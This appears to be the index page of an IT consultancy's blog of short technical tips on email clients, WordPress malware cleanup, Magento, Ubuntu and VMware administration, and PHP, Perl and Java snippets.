Various Tips and techniques discovered along the way that will hopefully be useful for other developers.

This was a tip that we just had to share with everyone. Our email tool of choice here at Silva Tech, is Mozilla Thunderbird with the “Ligtning” calendar plugin. Its worked very well with the multitude of Google Calendars/mail accounts that we maintain for clients, but recently the program started to crawl on a regular basis. Clicking between mail messages within a particular Gmail account would take a few seconds, and then mysteriously speed up later. Since our accounts are all running off of a shared storage device, we ruled out our local network and then our internet connection as the culprit. Coincidentally, the Gmail service itself was having some issues, so that didn’t help us narrow down the issue! The problem still existed, even while running thunderbird in “Safe Mode”.

The “a ha” moment came when we brought up Taskmanger (Win7) and started clicking through messages within our inbox. The delay was certainlty noticeable, but one process that ALSO spiked was the “MsMpEng.exe” process, belonging to the freely available Microsoft Security Essentials. We have NEVER had any issues with running Essentials, slowing down our programs, and in fact that is why we have recommended as the base level of protection on any workstation.

We went into MSE (Microsoft Security Essentials) and added an exclusion for our “thunderbird.exe” process. Immediately thereafter, Thunderbirdwas roaring again. We also noticed that our Calendar speed up drastically as well. For some reason with larger mail boxes, MSE was trying to scan every access of a single email message, which caused all of Thunderbird to slow for a few seconds. This just started happening, so I imagine it was part of our latest security updates. That is entirely a shame, because we had never any problems with the free software suite in the past.

Filezilla is great tool for any web service provider, but we have on more than one occasion been bit with a rather annoying error that stops our entire transfer process forcing us to close and re-open the tool.

You’ll usually get something like:
Status: ftpcontrolsocket.cpp(1750): Waiting for replies to skip before sending next command…
Read more…

To continue our series on WordPress hacks and cleanups, we present a very quick and dirty method of detecting and cleaning up wordpress based pages that may have been infected by the good ol’ Base64 hack. The PERL code listed below recursively searches down the root web folder, searches files for any hints of a “base64″ string that has a middle content greater than 500 (arbitrary but usually pretty spot on for this attack) and replaces the instance.

This is a VERY VERY quick and dirty script and will not guarantee that you’re site is clean of all of the hundreds of variants of this hack-attack (see our post on changing tactics)

Read more…

Magento’s internal search engine is really really rough around the edges. Its very inflexible and sometimes tedious to populate and maintain.

Thankfully, there is a very low-cost option from a vendor that knows a little bit about search engines. Google Site Search! Its easy to install within a Magento installation (and replace the default search capabilities), and takes a few minutes to configure.
Read more…

Last week we mentioned a few plugins about finding and cleaning hacks. With that same client, we found a new vector of attack that is immune to a lot of the new tactics. In one instance, we found that the code was placed in clear text, rather than obfuscated by base_64 encoding. Basically, the new code was hiding in plain site and was not being examined by the other exploit scanning software. The way the attacks are occuring, seems to suggest that WordPress hack attacks are evolving.

Another interesting development was that after tracing down the attacker through the access logs, we found that they were actually getting into the system by using an exploit in a non-active theme file. Remember, even if your theme is NOT active, it can still be accessed via the web. (Default themes like Twenty-Eleven and Twenty-Ten can be vulnerable).

Our advice is:
1.) If you aren’t using it, remove it. This goes for plugins/themefiles.
2.) Keep EVERYTHING up to date. Plugins/WordPress/ and server patches.
3.) Run exploit scans every once in a while.
4.) Always make sure you have access to the web server logs, even if you are on a shared hosting plan.

We have been seeing an increase recently in the amount of hacked WordPress installations. One of the largest causes of a site being exploited, has been outdated “theme” files containing the tool “TimThumb”. An explanation of the exploit can be found Here.

We recommend that folks that have themes built from pre-canned templates install and run the plugin “TimThumb Vulnerability Scanner”. It takes a second to install, and can plug up a very easy security hole in your site in a second.

Another plugin we recommend for sites that have been exploited is one called “Exploit Scanner”. This plugin is not faint for the heart, but it tries and finds files that match the most common known exploits within every file within your site. If you are not sure what you are doing, do NOT just delete the affected files, but instead Contact a trained professional that can handle this for you.

Most hosting companies, unfortunately maintain a hands-off approach when it comes to your software being exploited. Its usually up to you your IT Service Provider to be able to clean off/patch up damage caused. Always make sure that all of your themes, plugins, and WordPress addons are up to date. Most modern WordPress system can all be updated automatically with a click of a link. Check it once a week (or sooner), to make sure that you are up to date with your software.

So we work on Magento ecommerce solutions quite frequently. For the most basic setups, both the community and enterprise version perform like a charm. They are extremely easy to setup, configure and get rolling with Authorize.net with a basic theme overhaul. The problem is, when you start to go offroad a bit and build application ad-dons.

One trick of the trade, for very basic application addons (specialized contact forms/etc), is how to defeat (yes..Defeat) the full page cache craziness of Magento Enterprise on a single template. You would think that this would be easily done in a matter of seconds with a quick XML configuration change or maybe an ADMIN gui to prevent the underlying cache mechanism from grabbing the page (like some WordPress plugins offer). Its not. Trust us.

While we could go on how you could extend the core module and “punch through” ( see here ), we use the good old work around: “__store” get variable.

To stop a page from rendering from cache in your magento store, call it with the parameter “__store”.
ie: http://SilvaTechEcommerceTest.com/my-cool-app/?__store

Is it the best way? No, because it does not force you to add 15 xml config files (and pray you named them correctly), and then trog through the Exception.log file to see if something breaks.

Still it is a great back-door key to have when all you want is to stop caching a single simple page.

Starting to configure a new Dell PowerConnect 6248, I realized that my new laptop didn’t have a serial interface to configure the initial router setup (Dell, seriously, the VT-100 console mode is a tad 1978-ish).

There’s no fear, I have an old Ubuntu box that so happens to have a serial port free, but I did not have a clue what program would be easy to use like a Hyperterminal.

I stumbled on an article that good ol “Putty” can do serial connections AND is available on Ubuntu. A simple “apt-get putty” and few minutes later and we were off to the races.

(Quick note, make SURE that you have your serial ports enabled in the bios. Trust me.)

After plugging the serial connection into the PowerConnect 6248, the only problem was, trying to find the right serial port available.
A quick “dmesg | grep ‘tty’” showed that I had both TTYS0 and TTYS1 available. So we try them both!

Setup a new Putty Session and on the left hand-side underneath “Connection” click on the “Serial” label. Using Dell’s manual, I configured it to try /dev/TTYS0, 9600, 8, 1 None, XON/XOFF. Hit “Open” and voila..a blank screen.

You NEED to press the “Enter” key to get it to wake up. If you are talking to the PowerConnect you should be a “Console>” command prompt. Pick up the PowerConnect Manual, power off/on the switch and follow the manual to completion. Note, if /dev/TTYS0 doesn’t work, try the /dev/TTYS1

The old Ubuntu box is now dubbed the “Serial Box” in our office (I know..really..really bad).

Recently we were impressed with another LinkedIn developer project programmatically pulled together user LinkedIn network data. We decided to put together a prototype that would place network connections geographically across the globe. We found out quite a lot about the LinkedIn API (it is limited and a bit buggy when it comes to Ajax connections) and a typical hosting account server may not be able to support it fully. In anycase, the prototype can be found below, along with a more detailed description of our findings.

http://silvatechsolutions.com/viz/linkedin/

Google Earth Prototype: Latest projected IRENE Hurricane path and track from NOAA.

Using our quick prototype Google Earth tool, we put together a quick map from the USGS showing the Magnitude 5.8 – VIRGINIA earthquake.

Update 8/23/11 8:11PM EST: Added another layer to the Google Earth Map that shows recent seismic data from across the globe.

The church I attend had a need for a new kiosk that would be used to serve up the webpage of their online giving portal. I immediately volunteered, having had done a few basic kiosks in the past for fun, using the Morphix and other old-school linux live cd version.

Its been over six years since my last “kiosk” experience, and figured this would be a piece of cake. Surely, the open-source “kiosk” scene would be light-years ahead of where they were before, since nearly every major linux distribution has a “live-cd” version.

I found that it was nearly the opposite.
Read more…

Everyone knows that you need to have a “strong” password when creating new accounts on the internet. The problem is that creating them from scratch can be a big pain. The following website is a Godsend, if you don’t want to have to think about creating your new password. It even has a mnemonic tool to help you remember your new password.

Strong Password Generator

We move quite a few customers from one hosting provider to our own or setup additional servers. One of the things we frequently run into are that our customers frequently are not aware of what exactly they own and/or have access to. If your website and email are hosted externally, you will need to provide access to your consultant to four important areas.

1.) The company that owns/is holding your website’s name (aka. The Registrar). This is most often times the same company that runs your actual website, but it should reside in a different type of tool. This information will be needed if you intend to move your hosting to a different account.
2.) DNS Control panel. This is usually found within the hosting company’s account. It is used to add different names to your website’s name and/or point existing names to different servers. For instance, while setting up a staging server for a new application, we like to create a seperate name called “Staging.YourDomain.com”. That way a client can preview the application development as it is happening.
3.) Website FTP and Database access. This is used to actually gain access to the webpages on your website themselves. If you are running WordPress or other CMS system, it will most likely require a database of sorts as well. That information should be kept on file as well.
4.) Mail access. If you host your mail with your website, always maintain a list of email accounts and/or distribution groups. If you ever plan to change hosting companies, having this information readily available will save your consultant a ton of time.

The best strategy is to always maintain a list of ALL accounts that you have ever used to access your account. If you use a third party web-design company, make sure that they provide you this information as well. If you bought the service and paid for hosting, then you need and own the access. Do NOT let anyone tell you differently. Keep the information secure, either in a bank safety deposit box or in an encrypted folder.

A very quick tip. If you are trying to use the Crontab section of a CPanel (reseller account, etc), you may have some issues trying to setup a simple wget when trying to just get a simple webpage. You’ll get some “AJAX ERROR” please refresh. Very annoying with no error message. In anycase, you can solve it by removing the HTTP:// part of the URL.

Before:

wget -q -O cron_exec.html http://domain.com/entry-form/cron.php >/dev/null 2>&1

After:

wget -q -O cron_exec.html www.domain.com/entry-form/cron.php >/dev/null 2>&1

We ran into a situation recently, where a wildcard SSL cert was purchased for a customer. When setting up the cert for the entire server, WHM/CPANEL would not tag the default CPANEL account with the new cert. Apache would serve the SSL, but the Apache conf file was not picking up the domain name.
Read more…

We are often times asked to work on clients servers that range greatly in hardware and software platforms. It seems that no two VPS/Cloud servers are configured the same, nor do they have the same user permissions to install/compile modules into PHP/Lamp.

This can be a pain if we need to install a third party module like PHP SSH2 to securely transfer some files between servers for backups.
Read more…

We recently started research work for a potential grant and some of the project focused on dynamic visualization of data sources. A few years ago we had done some work for a client in visualizing aircraft telemetry data using the stand-along Google Earth client. At that time, the Google Earth browser plug-in was not yet mature and still had a few issues.

With our current project, we needed a quick way to geographically visualize a large set of data. A years worth of Apache log files, a perl script, some PHP code, and we were able to create a fully automated data integration and visualization system with no cost.
Read more…

As part of one of our data integration projects, we were asked to process some web form data through a third party webservice. The web form was built in PHP, and our standard PHP webservice library has always been to use NuSOAP tool kit (http://sourceforge.net/projects/nusoap/). It has always been easier to deal with and integrate and diverse hosting platforms, that is, up until this past project.

Read more…

We’ve recently moved a large client from an ill performing “Virtual Private Server” hosting provider to a more robust solution at a different vendor. We came up with a generic questionnaire to help future clients plan for a move/new system.

1.) What are your needs? Is it a new deployment or are you dissatisfied with your current hosting provider and are looking for something better? They will directly affect your costs, in both startup costs and the potential downtime you will have if you are currently a site. Migration involves, coordinating downtime with customers, moving mail servers, updating database servers on the new server during a move, ensure mail is working on the new server, setting up the new VPS so it is configured like the previous, etc. Its sometimes easier to hire someone that does this on a regular basis.

2.) Does scalability matter? Do you see yourself needing either dedicated hardware and/or a higher rated VPS solution in the future? Make sure the new VPS company has that ability. Is the storage on the server large enough now AND for the future. Some VPS hosting providers force you to move to a new server, if you run out of room.

Do you see yourself needing dedicated hardware in the future? Does the vendor maintain dedicated servers, thereby easing the move down the road?

Read more…

From Wikipedia , Cloud computing is described as:

Cloud computing is Internet-based computing, whereby shared resources, software, and information are provided to computers and other devices on demand, like the electricity grid.

When you are purchasing hosting from a hosting company, beware that the term “Cloud” may be mis-used and may not be what you think it is!
Read more…

If you run a linux site that is exposed to the internet, check the /var/log/auth.log or /var/log/secure log files. Chances are you’ll see a bunch of ‘ Failed password for user ‘ attacks on your site.

Read more…

I recently was having horrible download rates on some VMWare ubuntu images that are hosted on a beefy Win7 box.
Read more…

Upgrade time for an older storage server (really a workstation), running Ubuntu 10.04. The old workstation did not have any Sata controllers in it, so I had to install a new MASSCOOL XWT-RC018 run-of-the-mill PCI Sata controller. Popped in two brand new Samsung Spinpoing 1 TB drives (SAMSUNG Spinpoint F3 HD103SJ 1TB 7200 RPM) and started to setup Software raid-1 in Ubuntu.
Read more…

A recent upgrade to a new Ubuntu server version, caused my dovecote server to not be happy.   Apparently in my haste, I had kept my old configuration files for Dovecot that had several features replaced or depreciated.  I tried removing the package using “apt-get remove dovecot*”, but my config files were still left behind.
Read more…

Recently I worked on a client’s workstation that had a very interesting “infection”. Google internet searches would be redirected to random company websites and the Microsoft Windows Update website refused to load properly.

The client was running Avast and SpyBot (with Tea-Timer). I turned up the detection level in Avast to show exactly what was being scanned and/or retrieved from the internet. Sure enough, I spotted a variety of strange URLs being retrieved, like “rudolfdisney.com”.
Read more…

Four steps to add a new hard-disk to a running Ubuntu virtualized session, using Vmware.

1. Add the new hard-disk to the Ubuntu vmware image using Vsphere or VMWare Server.
2. Ssh into ubuntu session and run
   “echo “- – -” > /sys/class/scsi_host/NUMBER/scan”
   NUMBER is the scsi host value.  It will not hurt rescanning a running host, so I simply keep incrementing till I reach a scsi host value that is not created in the system yet.
3. Do an “fdisk -l” and voila your new disk should be available.
4. Do what you want with it!  (Software Raid or create a new partition etc).

I recently setup a test VMWare server environment on my Windows 7 workstation to run Ubuntu LAMP development environments that mirror my production environments. After I install an Ubuntu (or any Nix) environment, I typically install Samba services so I can easily copy code/images back and forth from my workstation to the development box.

I noticed on my vanilla install of Ubuntu 10.04.1LTS, that I was getting horribly network transfer speeds just copying a 13.9 MB file from my workstation to my virtual machine. It was taking between 4-6 minutes for just a 13 MB file, which is utterly ridiculous!

My VMware Server said that my guest OS had the VMware Tools installed properly, so I assumed that everything was running fine. I ran tests on the cards, tweaked Win7 settings, but nothing seemed to work. I finally figured it out by chance.

Step One:
If you’re seeing this, first uninstall everything that you did previously. Something probably got messed up! Like me, I continue to compound the issue, by trying to install the Vmware tools served up by the VmwareServer. Bad mistake.

Step two:
Go here and install follow instructions:

https://help.ubuntu.com/community/VMware/Tools

Basically install
apt-get install –no-install-recommends open-vm-dkms
and
apt-get install open-vm-tools

After I did that, I had to reboot and eventually got everything working properly.

My Vmware Server still happily showed that I was still running Vmware guest tools in the Ubuntu guest, but my network transfer speeds were 1000x (rough guess..) better than before. Now copying that 13.9 MB files is instantaneous.

Update 9/3/2010:
One caveat is that these tools are installed linked to your current kernel version. If you ever update your system and install a new kernel, you’ll need to rebuild your openvmware drivers again. I removed/reinstalled mine and it worked:

apt-get remove open-vm-tools
apt-get remove open-vm-dkms

REBOOT!!!

apt-get install –no-install-recommends open-vm-dkms
apt-get install –no-install-recommends open-vm-tools

Recently I had a project that needed to create and format a word document, based on data from a MySQL database. While the solution was on an MS platform that had Word available, I could only use PHP for the scripting language as it was a language that was used by the rest of the team. The system would call the Word com object, create a new word document and formatted a report, using the “word.application” COM object.

One issue I ran across was that that coloring a font object in any VBA Macro script often times used a simple built-in function called “RGB”. I translated a PERL version below that seems to work quite well in PHP. Hope this helps someone else. This can also be used in formated RGB values in Excel document manipulations.

function phpRGB ($r,$g,$b){ 
	return $r + (256*$g) + (65536*$b);
}
 
//example usage:
    $wobj->Selection->Font->Italic = 1;
    $wobj->Selection->Font->Color = phpRGB(153,204,255);

If you are like me and have seen a ton of languages out there provide web services with a few simple instructions (Perl / PHP / Python), you may have the impression that it should be pretty easy in Java? Couple of lines of code and voila a server. A few more lines and voila a client that consumes said service. Unfortunately that does not seem to be the case in my experience. WDSL setup this…wimport that (but only with JDK’s greater than 1.6_05..).

Here is a dead simple way to setup clients and services in a few steps.
Read more…

I’m currently working on a project involved with using Apache Cayenne, a pretty lightweight ORM (object relationship mapping framework). So far I have been very impressed with its ease of use over other framework such as Hibernate and the minimalistic approach it takes to the mapping. Configuration files are used at a minimum and they are extremely easy to understand.

The one thing that I have found a bit lacking, are straightforward real world examples. While, the Java documentation is fantastic and there are only a few minimal “Getting Started” pages on the main website, I really couldn’t find a good example of some more complicated logic examples.

In anycase, here is some code that hopefully will save someone else a bit of time. This is an example of how to call a “NamedQuery” in Cayenne that accepts a single parameter and returns a count of rows for a particular table. This assumes at least a basic understanding of the Cayenne system and that you have at least been through the tutorial.
Read more…

I had small issue recently in that the Netbeans 6.7 database explorer was timing out just trying to connect to my production database. Apparently the Mysql server needs to respond back within a few mili-seconds and there are no configuration settings in Netbeans to increase this timeout. Our production database has an initial lag time when you first connect, but it is pretty zippy thereafter (I suspect my cheap home based switches or my Windows computer).
Read more…

Here is a snippet of code that I wish I had when I needed to write a small routine to output a PHP RSS feed.
RSS Feeds are XML-like so they need to be carefully crafted.

1.) Setup the main header of the rss feed. Remember to carefully escape all of your text going into string
fields using htmlentities().

Read more…

Perl is one of my absolute favorite languages to prototype in. While very easy to model complex object structures, the syntax of Perl Hashes can get a bit tricky to remember. This is just a quick “Get Started” guide that I hope will be useful to other developers.
Read more…

While working on a prototyping project for a customer, I was having problems “updating” existing placemarks in Google Earth that had been created by a simple Network Link file. Granted I was writing a custom web server to server KML data, but it was not immediately clear why my KML data was not being interpreted correctly.  While Google Earth’s KML Documentation is fairly comprehensive, it seems to lack a good deal of simple examples.
Read more…